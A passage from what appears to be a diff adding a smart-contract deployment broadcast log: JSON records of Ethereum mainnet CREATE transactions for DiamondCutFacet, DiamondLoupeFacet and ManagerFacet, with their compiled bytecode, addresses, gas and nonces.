"isFixedGasLimit": false + }, + { + "hash": "0x569b506b9a9876af9d309da49dcfd4c34de030f61ab3227fb9f3e751b03c7cbd", + "transactionType": "CREATE", + "contractName": "DiamondCutFacet", + "contractAddress": "0xd3c81bd07948a38546bca894f8bfecb552613798", + "function": null, + "arguments": null, + "transaction": { + "from": "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", + "gas": "0x1fdf7e", + "value": "0x0", + "input": "0x608060405234801561001057600080fd5b50611c5f806100206000396000f3fe608060405234801561001057600080fd5b506004361061002b5760003560e01c80631f931c1c14610030575b600080fd5b61004361003e366004611589565b610045565b005b61004d61009e565b61009761005a8587611706565b8484848080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525061015592505050565b5050505050565b6100a6610396565b6004015473ffffffffffffffffffffffffffffffffffffffff163314610153576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602260248201527f4c69624469616d6f6e643a204d75737420626520636f6e7472616374206f776e60448201527f657200000000000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b565b60005b835181101561034b57600084828151811061017557610175611862565b60200260200101516020015190506000600281111561019657610196611891565b8160028111156101a8576101a8611891565b036101f6576101f18583815181106101c2576101c2611862565b6020026020010151600001518684815181106101e0576101e0611862565b6020026020010151604001516103ec565b610338565b600181600281111561020a5761020a611891565b03610253576101f185838151811061022457610224611862565b60200260200101516000015186848151811061024257610242611862565b602002602001015160400151610786565b600281600281111561026757610267611891565b036102b0576101f185838151811061028157610281611862565b60200260200101516000015186848151811061029f5761029f611862565b602002602001015160400151610b30565b6040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602760248201527f4c69624469616d6f6e644375743a20496e636f7272656374204661636574437560448201527f74416374696f6e00000000000000000000000000000000000000000000000000606482015260840161014a565b5080610343816118ef565b915050610158565b507f8faa70878671ccd212d20771b795c50af8fd3ff6cf27f4bde57e5d4de0aeb67383838360405161037f93929190611995565b60405180910390a16103918282610d0e565b505050565b6000807fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff006103e560017fc8fcad8db84d3cc18b4c41d551ea0ee66dd599cde068d998e57d5e09332c131c611afd565b1692915050565b600081511161047d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602b60248201527f4c69624469616d6f6e644375743a204e6f2073656c6563746f727320696e206660448201527f6163657420746f20637574000000000000000000000000000000000000000000606482015260840161014a565b6000610487610396565b905073ffffffffffffffffffffffffffffffffffffffff831661052c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602c60248201527f4c69624469616d6f6e644375743a204164642066616365742063616e2774206260448201527f6520616464726573732830290000000000000000000000000000000000000000606482015260840161014a565b73ffffffffffffffffffffffffffffffffffffffff83166000908152600182016020526040812054906bffffffffffffffffffffffff82169003610574576105748285610e07565b60005b835181101561009757600084828151811061059457610594611862565b6020908102919091018101517fffffffff00000000000000000000000000000000000000000000000000000000811660009081529186905260409091205490915073ffffffffffffffffffffffffffffffffffffffff168015610679576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603560248201527f4c69624469616d6f6e644375743a2043616e2774206164642066756e6374696f60448201527f6e207468617420616c7265616479206578697374730000000000000000000000606482015260840161014a565b7fffffffff000000000000000000000000000000000000000000000000000000008216600081815260208781526040808320805473ffffffffffffffffffffffffffffffffffffffff908116740100000000000000000000000000000000000000006bffffffffffffffffffffffff8c16021782558c168085526001808c0185529285208054938401815585528385206008840401805463ffffffff60079095166004026101000a948502191660e08a901c94909402939093179092559390925287905281547fffffffffffffffffffffffff0000000000000000000000000000000000000000161790558361076e81611b16565b9450505050808061077e906118ef565b915050610577565b6000815111610817576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602b60248201527f4c69624469616d6f6e644375743a204e6f2073656c6563746f727320696e206660448201527f6163657420746f20637574000000000000000000000000000000000000000000606482015260840161014a565b6000610821610396565b905073ffffffffffffffffffffffffffffffffffffffff83166108c6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602c60248201527f4c69624469616d6f6e644375743a204164642066616365742063616e2774206260448201527f6520616464726573732830290000000000000000000000000000000000000000606482015260840161014a565b73ffffffffffffffffffffffffffffffffffffffff83166000908152600182016020526040812054906bffffffffffffffffffffffff8216900361090e5761090e8285610e07565b60005b835181101561009757600084828151811061092e5761092e611862565b6020908102919091018101517fffffffff00000000000000000000000000000000000000000000000000000000811660009081529186905260409091205490915073ffffffffffffffffffffffffffffffffffffffff9081169087168103610a18576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603860248201527f4c69624469616d6f6e644375743a2043616e2774207265706c6163652066756e60448201527f6374696f6e20776974682073616d652066756e6374696f6e0000000000000000606482015260840161014a565b610a23858284610e96565b7fffffffff000000000000000000000000000000000000000000000000000000008216600081815260208781526040808320805473ffffffffffffffffffffffffffffffffffffffff908116740100000000000000000000000000000000000000006bffffffffffffffffffffffff8c16021782558c168085526001808c0185529285208054938401815585528385206008840401805463ffffffff60079095166004026101000a948502191660e08a901c94909402939093179092559390925287905281547fffffffffffffffffffffffff00000000000000000000000000000000000000001617905583610b1881611b16565b94505050508080610b28906118ef565b915050610911565b6000815111610bc1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602b60248201527f4c69624469616d6f6e644375743a204e6f2073656c6563746f727320696e206660448201527f6163657420746f20637574000000000000000000000000000000000000000000606482015260840161014a565b6000610bcb610396565b905073ffffffffffffffffffffffffffffffffffffffff831615610c71576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603660248201527f4c69624469616d6f6e644375743a2052656d6f7665206661636574206164647260448201527f657373206d757374206265206164647265737328302900000000000000000000606482015260840161014a565b60005b8251811015610d08576000838281518110610c9157610c91611862565b6020908102919091018101517fffffffff00000000000000000000000000000000000000000000000000000000811660009081529185905260409091205490915073ffffffffffffffffffffffffffffffffffffffff16610cf3848284610e96565b50508080610d00906118ef565b915050610c74565b50505050565b73ffffffffffffffffffffffffffffffffffffffff8216610d2d575050565b610d4f82604051806060016040528060288152602001611bde602891396114dc565b6000808373ffffffffffffffffffffffffffffffffffffffff1683604051610d779190611b41565b600060405180830381855af49150503d8060008114610db2576040519150601f19603f3d011682016040523d82523d6000602084013e610db7565b606091505b509150915081610d0857805115610dd15780518082602001fd5b83836040517f192105d700000000000000000000000000000000000000000000000000000000815260040161014a929190611b5d565b610e2981604051806060016040528060248152602001611c06602491396114dc565b60028201805473ffffffffffffffffffffffffffffffffffffffff90921660008181526001948501602090815260408220860185905594840183559182529290200180547fffffffffffffffffffffffff0000000000000000000000000000000000000000169091179055565b73ffffffffffffffffffffffffffffffffffffffff8216610f39576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152603760248201527f4c69624469616d6f6e644375743a2043616e27742072656d6f76652066756e6360448201527f74696f6e207468617420646f65736e2774206578697374000000000000000000606482015260840161014a565b7fe06ce3e4000000000000000000000000000000000000000000000000000000007fffffffff0000000000000000000000000000000000000000000000000000000082160161100a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602f60248201527f4c69624469616d6f6e644375743a2043616e27742072656d6f7665206469616d60448201527f6f6e644375742066756e6374696f6e0000000000000000000000000000000000606482015260840161014a565b3073ffffffffffffffffffffffffffffffffffffffff8316036110af576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602e60248201527f4c69624469616d6f6e644375743a2043616e27742072656d6f766520696d6d7560448201527f7461626c652066756e6374696f6e000000000000000000000000000000000000606482015260840161014a565b7fffffffff0000000000000000000000000000000000000000000000000000000081166000908152602084815260408083205473ffffffffffffffffffffffffffffffffffffffff86168452600180880190935290832054740100000000000000000000000000000000000000009091046bffffffffffffffffffffffff16929161113991611afd565b90508082146112805773ffffffffffffffffffffffffffffffffffffffff84166000908152600186016020526040812080548390811061117b5761117b611862565b6000918252602080832060088304015473ffffffffffffffffffffffffffffffffffffffff8916845260018a019091526040909220805460079092166004026101000a90920460e01b9250829190859081106111d9576111d9611862565b600091825260208083206008830401805463ffffffff60079094166004026101000a938402191660e09590951c929092029390931790557fffffffff0000000000000000000000000000000000000000000000000000000092909216825286905260409020805473ffffffffffffffffffffffffffffffffffffffff16740100000000000000000000000000000000000000006bffffffffffffffffffffffff8516021790555b73ffffffffffffffffffffffffffffffffffffffff8416600090815260018601602052604090208054806112b6576112b6611b94565b6000828152602080822060087fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff90940193840401805463ffffffff600460078716026101000a0219169055919092557fffffffff00000000000000000000000000000000000000000000000000000000851682528690526040812081905581900361009757600285015460009061134f90600190611afd565b73ffffffffffffffffffffffffffffffffffffffff8616600090815260018089016020526040909120015490915080821461143d57600087600201838154811061139b5761139b611862565b60009182526020909120015460028901805473ffffffffffffffffffffffffffffffffffffffff90921692508291849081106113d9576113d9611862565b600091825260208083209190910180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff948516179055929091168152600189810190925260409020018190555b8660020180548061145057611450611b94565b6000828152602080822083017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff90810180547fffffffffffffffffffffffff000000000000000000000000000000000000000016905590920190925573ffffffffffffffffffffffffffffffffffffffff88168252600189810190915260408220015550505050505050565b813b8181610d08576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161014a9190611bc3565b803573ffffffffffffffffffffffffffffffffffffffff8116811461153b57600080fd5b919050565b60008083601f84011261155257600080fd5b50813567ffffffffffffffff81111561156a57600080fd5b60208301915083602082850101111561158257600080fd5b9250929050565b6000806000806000606086880312156115a157600080fd5b853567ffffffffffffffff808211156115b957600080fd5b818801915088601f8301126115cd57600080fd5b8135818111156115dc57600080fd5b8960208260051b85010111156115f157600080fd5b6020830197508096505061160760208901611517565b9450604088013591508082111561161d57600080fd5b5061162a88828901611540565b969995985093965092949392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040516060810167ffffffffffffffff8111828210171561168d5761168d61163b565b60405290565b604051601f82017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016810167ffffffffffffffff811182821017156116da576116da61163b565b604052919050565b600067ffffffffffffffff8211156116fc576116fc61163b565b5060051b60200190565b6000611719611714846116e2565b611693565b83815260208082019190600586811b86013681111561173757600080fd5b865b8181101561185557803567ffffffffffffffff8082111561175a5760008081fd5b818a019150606082360312156117705760008081fd5b61177861166a565b61178183611517565b815286830135600381106117955760008081fd5b81880152604083810135838111156117ad5760008081fd5b939093019236601f8501126117c457600092508283fd5b833592506117d4611714846116e2565b83815292871b840188019288810190368511156117f15760008081fd5b948901945b8486101561183e5785357fffffffff000000000000000000000000000000000000000000000000000000008116811461182f5760008081fd5b825294890194908901906117f6565b918301919091525088525050948301948301611739565b5092979650505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611920576119206118c0565b5060010190565b60005b8381101561194257818101518382015260200161192a565b50506000910152565b60008151808452611963816020860160208601611927565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169290920160200192915050565b60006060808301818452808751808352608092508286019150828160051b8701016020808b0160005b84811015611ac0577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff808a8503018652815188850173ffffffffffffffffffffffffffffffffffffffff82511686528482015160038110611a47577f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b868601526040918201519186018a905281519081905290840190600090898701905b80831015611aab5783517fffffffff00000000000000000000000000000000000000000000000000000000168252928601926001929092019190860190611a69565b509785019795505050908201906001016119be565b505073ffffffffffffffffffffffffffffffffffffffff8a16908801528681036040880152611aef818961194b565b9a9950505050505050505050565b81810381811115611b1057611b106118c0565b92915050565b60006bffffffffffffffffffffffff808316818103611b3757611b376118c0565b6001019392505050565b60008251611b53818460208701611927565b9190910192915050565b73ffffffffffffffffffffffffffffffffffffffff83168152604060208201526000611b8c604083018461194b565b949350505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b602081526000611bd6602083018461194b565b939250505056fe4c69624469616d6f6e644375743a205f696e6974206164647265737320686173206e6f20636f64654c69624469616d6f6e644375743a204e657720666163657420686173206e6f20636f6465a2646970667358221220eae05efcfa957bc46cd14c4726ab743abce9656ca27cbbd398f07b8ed6c3bd4564736f6c63430008130033", + "nonce": "0x44e", + "chainId": "0x1" + }, + "additionalContracts": [], + "isFixedGasLimit": false + }, + { + "hash": "0x1afc7573f218b35609513d77be2ca2392aa11440dc2490aaa16bb8ec3ba688fd", + "transactionType": "CREATE", + "contractName": "DiamondLoupeFacet", + "contractAddress": "0xd11b60c336a8416162272475ff9df572e516fc51", + "function": null, + "arguments": null, + "transaction": { + "from": "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", + "gas": "0x9abe5", + "value": "0x0", + "input": "0x608060405234801561001057600080fd5b506107e6806100206000396000f3fe608060405234801561001057600080fd5b50600436106100675760003560e01c80637a0ed627116100505780637a0ed627146100a9578063adfca15e146100be578063cdffacc6146100de57600080fd5b806301ffc9a71461006c57806352ef6b2c14610094575b600080fd5b61007f61007a366004610521565b610116565b60405190151581526020015b60405180910390f35b61009c61015f565b60405161008b919061056a565b6100b16101d8565b60405161008b9190610621565b6100d16100cc3660046106c9565b6103a5565b60405161008b91906106ff565b6100f16100ec366004610521565b610471565b60405173ffffffffffffffffffffffffffffffffffffffff909116815260200161008b565b6000806101216104cb565b7fffffffff00000000000000000000000000000000000000000000000000000000909316600090815260039093016020525050604090205460ff1690565b6060600061016b6104cb565b600281018054604080516020808402820181019092528281529394508301828280156101cd57602002820191906000526020600020905b815473ffffffffffffffffffffffffffffffffffffffff1681526001909101906020018083116101a2575b505050505091505090565b606060006101e46104cb565b60028101549091508067ffffffffffffffff81111561020557610205610712565b60405190808252806020026020018201604052801561024b57816020015b6040805180820190915260008152606060208201528152602001906001900390816102235790505b50925060005b8181101561039f57600083600201828154811061027057610270610741565b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050808583815181106102b0576102b0610741565b60209081029190910181015173ffffffffffffffffffffffffffffffffffffffff928316905290821660009081526001860182526040908190208054825181850281018501909352808352919290919083018282801561037157602002820191906000526020600020906000905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19168152602001906004019060208260030104928301926001038202915080841161031e5790505b505050505085838151811061038857610388610741565b602090810291909101810151015250600101610251565b50505090565b606060006103b16104cb565b73ffffffffffffffffffffffffffffffffffffffff84166000908152600182016020908152604091829020805483518184028101840190945280845293945091929083018282801561046457602002820191906000526020600020906000905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260200190600401906020826003010492830192600103820291508084116104115790505b5050505050915050919050565b60008061047c6104cb565b7fffffffff0000000000000000000000000000000000000000000000000000000090931660009081526020939093525050604090205473ffffffffffffffffffffffffffffffffffffffff1690565b6000807fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0061051a60017fc8fcad8db84d3cc18b4c41d551ea0ee66dd599cde068d998e57d5e09332c131c610770565b1692915050565b60006020828403121561053357600080fd5b81357fffffffff000000000000000000000000000000000000000000000000000000008116811461056357600080fd5b9392505050565b6020808252825182820181905260009190848201906040850190845b818110156105b857835173ffffffffffffffffffffffffffffffffffffffff1683529284019291840191600101610586565b50909695505050505050565b600081518084526020808501945080840160005b838110156106165781517fffffffff0000000000000000000000000000000000000000000000000000000016875295820195908201906001016105d8565b509495945050505050565b60006020808301818452808551808352604092508286019150828160051b87010184880160005b838110156106bb578883037fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffc00185528151805173ffffffffffffffffffffffffffffffffffffffff1684528701518784018790526106a8878501826105c4565b9588019593505090860190600101610648565b509098975050505050505050565b6000602082840312156106db57600080fd5b813573ffffffffffffffffffffffffffffffffffffffff8116811461056357600080fd5b60208152600061056360208301846105c4565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b818103818111156107aa577f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b9291505056fea2646970667358221220e6b69c87b559650f830a1b81dcbc39f26769324b84b677adf39178afd0de48cf64736f6c63430008130033", + "nonce": "0x44f", + "chainId": "0x1" + }, + "additionalContracts": [], + "isFixedGasLimit": false + }, + { + "hash": "0xf5c03465a68a86b700aba947ffdc09e320cfd13c4a659cb54b858141e604407c", + "transactionType": "CREATE", + "contractName": "ManagerFacet", + "contractAddress": "0x0e9f3299b9443d3d5130771f26b7e18a2a7aa9db", + "function": null, + "arguments": null, + "transaction": { + "from": "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", + "gas": "0x278882", + "value": "0x0", + "input": "0x608060405234801561001057600080fd5b50612364806100206000396000f3fe608060405234801561001057600080fd5b50600436106102d25760003560e01c80639232461111610186578063c0030add116100e3578063e2d443bd11610097578063f6f172cb11610071578063f6f172cb1461067e578063f986cd5714610691578063fbff3a41146106a457600080fd5b8063e2d443bd1461062f578063e8b7342414610642578063ebef28a71461066057600080fd5b8063d3815fb9116100c8578063d3815fb9146105e0578063dd390ea0146105fe578063e0ee68551461061157600080fd5b8063c0030add146105af578063c5f956af146105c257600080fd5b8063b0bd67b41161013a578063ba2d8cdd1161011f578063ba2d8cdd1461056b578063bc3ea0181461057e578063be1d86e11461059c57600080fd5b8063b0bd67b41461052f578063b42165d01461054d57600080fd5b8063965cc7ac1161016b578063965cc7ac146104ba578063a9b8b796146104d8578063ad3401ed1461051157600080fd5b8063923246111461049457806393e4e9ee146104a757600080fd5b8063221e2e60116102345780636605bfda116101e85780638b38ebb3116101cd5780638b38ebb31461048e5780638fe636831461048e57806391df16d31461048e57600080fd5b80636605bfda14610468578063826d5b8b1461047b57600080fd5b80633535f48b116102195780633535f48b1461040e57806336c3df241461042c578063421e108c1461044a57600080fd5b8063221e2e60146103dd57806333c5aa57146103fb57600080fd5b80631a47c9041161028b5780631c1f8aa3116102705780631c1f8aa3146103995780631f7e8c7e146103ac578063214f7882146103bf57600080fd5b80631a47c904146103685780631a867af51461038657600080fd5b8063017df327116102bc578063017df327146102ff578063147f1b961461034257806315f973981461035557600080fd5b806283faee146102d7578063016afee7146102ec575b600080fd5b6102ea6102e5366004611fc7565b6106b7565b005b6102ea6102fa366004611feb565b610774565b60095473ffffffffffffffffffffffffffffffffffffffff165b60405173ffffffffffffffffffffffffffffffffffffffff909116815260200160405180910390f35b6102ea610350366004611fc7565b610879565b6102ea610363366004611fc7565b610931565b60135473ffffffffffffffffffffffffffffffffffffffff16610319565b6102ea610394366004611fc7565b6109e9565b6102ea6103a7366004611fc7565b610aa1565b6102ea6103ba366004611fc7565b610b59565b600e5473ffffffffffffffffffffffffffffffffffffffff16610319565b600d5473ffffffffffffffffffffffffffffffffffffffff16610319565b6102ea610409366004611fc7565b610c11565b60065473ffffffffffffffffffffffffffffffffffffffff16610319565b600c5473ffffffffffffffffffffffffffffffffffffffff16610319565b60125473ffffffffffffffffffffffffffffffffffffffff16610319565b6102ea610476366004611fc7565b610cc9565b6102ea610489366004611fc7565b610d81565b30610319565b6102ea6104a2366004611fc7565b610e39565b6102ea6104b5366004611fc7565b610ef1565b60085473ffffffffffffffffffffffffffffffffffffffff16610319565b6103196104e6366004611fc7565b73ffffffffffffffffffffffffffffffffffffffff9081166000908152601560205260409020541690565b60055473ffffffffffffffffffffffffffffffffffffffff16610319565b60025473ffffffffffffffffffffffffffffffffffffffff16610319565b600b5473ffffffffffffffffffffffffffffffffffffffff16610319565b6102ea610579366004611fc7565b610fa9565b60015473ffffffffffffffffffffffffffffffffffffffff16610319565b6102ea6105aa366004611fc7565b611061565b6102ea6105bd366004611fc7565b611119565b600a5473ffffffffffffffffffffffffffffffffffffffff16610319565b60075473ffffffffffffffffffffffffffffffffffffffff16610319565b6102ea61060c366004611fc7565b6111d1565b60045473ffffffffffffffffffffffffffffffffffffffff16610319565b6102ea61063d366004611fc7565b611289565b60115473ffffffffffffffffffffffffffffffffffffffff16610319565b600f5473ffffffffffffffffffffffffffffffffffffffff16610319565b6102ea61068c366004611feb565b611341565b6102ea61069f366004611fc7565b611405565b6102ea6106b2366004612024565b6114bd565b6106c2600033611efa565b61072d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f4d616e616765723a2043616c6c6572206973206e6f742061646d696e0000000060448201526064015b60405180910390fd5b600580547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b61077f600033611efa565b6107e5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f4d616e616765723a2043616c6c6572206973206e6f742061646d696e000000006044820152606401610724565b6001546040517fb6232c9900000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff8481166004830152838116602483015290911690819063b6232c9990604401600060405180830381600087803b15801561085c57600080fd5b505af1158015610870573d6000803e3d6000fd5b50505050505050565b610884600033611efa565b6108ea576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f4d616e616765723a2043616c6c6572206973206e6f742061646d696e000000006044820152606401610724565b600c80547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b61093c600033611efa565b6109a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f4d616e616765723a2043616c6c6572206973206e6f742061646d696e000000006044820152606401610724565b600e80547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b6109f4600033611efa565b610a5a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f4d616e616765723a2043616c6c6572206973206e6f742061646d696e000000006044820152606401610724565b600480547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b610aac600033611efa565b610b12576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f4d616e616765723a2043616c6c6572206973206e6f742061646d696e000000006044820152606401610724565b600680547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b610b64600033611efa565b610bca576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f4d616e616765723a2043616c6c6572206973206e6f742061646d696e000000006044820152606401610724565b600880547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b610c1c600033611efa565b610c82576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f4d616e616765723a2043616c6c6572206973206e6f742061646d696e000000006044820152606401610724565b601380547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b610cd4600033611efa565b610d3a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f4d616e616765723a2043616c6c6572206973206e6f742061646d696e000000006044820152606401610724565b600a80547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b610d8c600033611efa565b610df2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f4d616e616765723a2043616c6c6572206973206e6f742061646d696e000000006044820152606401610724565b601180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b610e44600033611efa565b610eaa576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f4d616e616765723a2043616c6c6572206973206e6f742061646d696e000000006044820152606401610724565b600780547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b610efc600033611efa565b610f62576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f4d616e616765723a2043616c6c6572206973206e6f742061646d696e000000006044820152606401610724565b601480547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b610fb4600033611efa565b61101a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f4d616e616765723a2043616c6c6572206973206e6f742061646d696e000000006044820152606401610724565b600f80547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b61106c600033611efa565b6110d2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f4d616e616765723a2043616c6c6572206973206e6f742061646d696e000000006044820152606401610724565b600d80547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b611124600033611efa565b61118a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f4d616e616765723a2043616c6c6572206973206e6f742061646d696e000000006044820152606401610724565b601280547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b6111dc600033611efa565b611242576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f4d616e616765723a2043616c6c6572206973206e6f742061646d696e000000006044820152606401610724565b600280547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b611294600033611efa565b6112fa576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f4d616e616765723a2043616c6c6572206973206e6f742061646d696e000000006044820152606401610724565b600b80547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b61134c600033611efa565b6113b2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f4d616e616765723a2043616c6c6572206973206e6f742061646d696e000000006044820152606401610724565b73ffffffffffffffffffffffffffffffffffffffff918216600090815260156020526040902080547fffffffffffffffffffffffff00000000000000000000000000000000000000001691909216179055565b611410600033611efa565b611476576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f4d616e616765723a2043616c6c6572206973206e6f742061646d696e000000006044820152606401610724565b600180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b6114c8600033611efa565b61152e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f4d616e616765723a2043616c6c6572206973206e6f742061646d696e000000006044820152606401610724565b60008573ffffffffffffffffffffffffffffffffffffffff1663e339eb4f86600060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166306fdde036040518163ffffffff1660e01b8152600401600060405180830381865afa1580156115bd573d6000803e3d6000fd5b505050506040513d6000823e601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016820160405261160391908101906120d2565b600154604080517f95d89b41000000000000000000000000000000000000000000000000000000008152905173ffffffffffffffffffffffffffffffffffffffff909216916395d89b41916004808201926000929091908290030181865afa158015611673573d6000803e3d6000fd5b505050506040513d6000823e601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe01682016040526116b991908101906120d2565b6001546040517fffffffff0000000000000000000000000000000000000000000000000000000060e087901b1681526117129493929173ffffffffffffffffffffffffffffffffffffffff16908a908a906004016121e7565b6020604051808303816000875af1158015611731573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117559190612247565b600780547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff838116919091179091556040517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152919250600091908616906370a0823190602401602060405180830381865afa1580156117f6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061181a9190612264565b6001546040517f70a0823100000000000000000000000000000000000000000000000000000000815230600482015291925060009173ffffffffffffffffffffffffffffffffffffffff909116906370a0823190602401602060405180830381865afa15801561188e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118b29190612264565b6040517f095ea7b300000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff8581166004830152600060248301529192509087169063095ea7b3906044016020604051808303816000875af115801561192b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061194f919061227d565b506040517f095ea7b300000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff84811660048301526024820184905287169063095ea7b3906044016020604051808303816000875af11580156119c5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119e9919061227d565b506001546040517f095ea7b300000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff8581166004830152600060248301529091169063095ea7b3906044016020604051808303816000875af1158015611a63573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a87919061227d565b506001546040517f095ea7b300000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff8581166004830152602482018490529091169063095ea7b3906044016020604051808303816000875af1158015611b01573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b25919061227d565b506001546040517fc66106570000000000000000000000000000000000000000000000000000000081526000600482015273ffffffffffffffffffffffffffffffffffffffff9182169185169063c661065790602401602060405180830381865afa158015611b98573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611bbc9190612247565b73ffffffffffffffffffffffffffffffffffffffff16148015611c8657506040517fc66106570000000000000000000000000000000000000000000000000000000081526001600482015273ffffffffffffffffffffffffffffffffffffffff808816919085169063c661065790602401602060405180830381865afa158015611c4a573d6000803e3d6000fd5b505050506040513d601f1960